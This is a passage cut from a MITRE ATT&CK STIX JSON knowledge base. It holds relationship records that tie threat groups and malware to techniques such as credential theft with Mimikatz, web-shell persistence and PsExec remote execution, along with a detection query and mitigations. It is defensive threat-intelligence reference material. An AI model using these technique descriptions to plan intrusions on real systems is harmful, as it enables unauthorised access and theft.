2022)","modified":"2022-06-28T14:30:32.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1f38efc-1e8f-4cc5-a653-2bea38ed82c6","created":"2023-03-13T15:37:00.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Azure Run Command 2021","description":"Adrien Bataille, Anders Vejlby, Jared Scott Wilson, and Nader Zaveri. (2021, December 14). Azure Run Command for Dummies. Retrieved March 13, 2023.","url":"https://www.mandiant.com/resources/blog/azure-run-command-dummies"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T13:49:51.456Z","description":"Monitor for process creation events in virtual machines that are associated with cloud VM agents, such as the WindowsAzureGuestAgent.exe process on Azure virtual machines. (Citation: Mandiant Azure Run Command 2021)\n\nAnalytic 1 - Unexpected process creation\n\n sourcetype=process_creation\n| search process_name IN (\"WindowsAzureGuestAgent.exe\", \"ssm-agent.exe\")\n| where process_name IN (\"WindowsAzureGuestAgent.exe\", \"ssm-agent.exe\") AND process_path != \"/usr/local/bin/\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1fa57e2-939a-4745-95fb-7a594540071f","created":"2022-03-30T14:26:51.854Z","x_mitre_version":"0.1","external_references":[{"source_name":"launchd Keywords for plists","url":"https://www.real-world-systems.com/docs/launchdPlist.1.html","description":"Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present. (Citation: launchd Keywords for plists)","modified":"2022-04-20T12:44:39.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1fb367f-ce57-48ff-bb2f-fafb9d8bbb54","created":"2024-05-22T19:20:36.081Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:20:36.081Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) has deployed [IPsec Helper](https://attack.mitre.org/software/S1132) malware post-exploitation and registered it as a service for persistence.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1fc2403-6cea-40ca-a5ba-82296600988c","created":"2022-06-10T20:16:48.015Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) has the ability to use HTTP in C2 communications.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:11:03.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2021918-3624-4473-8246-fb044caf44e6","type":"relationship","created":"2021-07-30T19:15:11.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-19T21:57:16.021Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used [cmd](https://attack.mitre.org/software/S0106) to execute tasks on the system.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2057ba9-0072-46aa-acce-f9277c4e38bd","created":"2024-03-12T18:29:57.387Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T18:29:57.387Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used the ENUM4LINUX Perl script for discovery on Windows and Samba hosts.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2097180-b02f-4ffc-b0a6-8e8bb899a551","type":"relationship","created":"2020-03-15T00:37:59.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T00:37:59.151Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c20cc0d1-fe0b-4683-b6ed-bbb8736fe2ca","type":"relationship","created":"2021-10-17T15:10:00.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.758Z","description":"(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c20e28d7-f577-419b-bf3f-a5d585e1f0f4","created":"2024-05-22T19:06:12.488Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:06:12.488Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) relies on web shells for persistent access post exploitation, with an emphasis on variants of [ASPXSpy](https://attack.mitre.org/software/S0073).(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c21009bb-5a7b-438d-9aed-1ec85cbd0d75","type":"relationship","created":"2022-01-05T15:41:45.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2022-01-05T15:41:45.972Z","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) has downloaded an auxiliary program named ff.exe to infected machines.(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c210ee50-6e87-418f-a809-6b0f788dd42c","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for spaces at the end of file names, that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c215cce3-a2f5-4534-937c-b15d7be4588c","type":"relationship","created":"2020-02-20T17:21:04.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","source_name":"NIST 800-63-3"}],"modified":"2021-04-06T12:32:47.843Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2178e88-74c3-4bc6-b8c5-f6bbc95fc65a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:14:12.144Z","description":"[KARAE](https://attack.mitre.org/software/S0215) can use public cloud-based storage providers for command and control.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c217ea78-f411-4dd1-a019-8aa3e366df23","created":"2020-10-19T23:49:08.580Z","x_mitre_version":"1.0","external_references":[{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Configure intrusion prevention devices to detect SNMP queries and commands from unauthorized sources.(Citation: US-CERT-TA18-106A)","modified":"2022-04-19T21:34:37.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c223714e-1321-45e2-b5e2-2b54959d340a","created":"2021-06-11T16:56:08.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.415Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to communicate with C2 over HTTP.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c2266528-a862-4fc0-bfa1-4fb1d48daa56","created":"2022-08-09T16:47:56.863Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been packed with a custom packer to hide payloads.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-09T16:47:56.863Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c22f5416-2726-491e-ae10-35ec32ff9173","type":"relationship","created":"2021-02-10T19:41:52.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:41:52.677Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of user accounts from a victim's machine.(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2308f9a-8564-4e10-bdab-d22c4be590db","created":"2024-09-17T18:03:21.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:06:14.459Z","description":"[TA578](https://attack.mitre.org/groups/G1038) has filled out contact forms on victims' websites to direct them to adversary-controlled URLs.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c233f12f-cfa1-4f2a-ba56-ca1980806f4e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.590Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) uses HTTP for communication to the control servers.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c235df18-28b1-48f9-bcfb-38f671005b5e","created":"2023-01-10T20:55:51.209Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-10T20:55:51.209Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has named a malicious script CacheTask.bat to mimic a legitimate task.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2379d5f-4d8d-4eaa-b966-bf31b227f5e3","created":"2019-08-26T15:27:13.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"EST Kimsuky April 2019","description":"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.","url":"https://blog.alyac.co.kr/2234"},{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has executed a variety of PowerShell scripts including Invoke-Mimikatz.(Citation: EST Kimsuky April 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2384bea-763a-4782-ba88-15a75d83f61b","created":"2024-09-06T22:00:25.123Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:00:25.123Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [PsExec](https://attack.mitre.org/software/S0029) through frameworks such as [Impacket](https://attack.mitre.org/software/S0357) for remote command execution.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c23b4166-ede8-4ad6-bb31-40ce550a4107","created":"2024-09-23T22:18:04.602Z","revoked":false,"external_references":[{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:18:04.602Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used pcalua.exe to obfuscate binary execution and remote connections.(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c23d5ed2-f358-41d7-99c3-658f4d584786","created":"2023-03-31T17:34:31.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T21:22:40.840Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used the `sp_addlinkedsrvlogin` command in MS-SQL to create a link between a created account and other servers in the network.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c23fa4f7-84a0-424a-b8b1-b3024d01e749","type":"relationship","created":"2020-03-19T23:56:41.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2020-03-19T23:56:41.592Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. 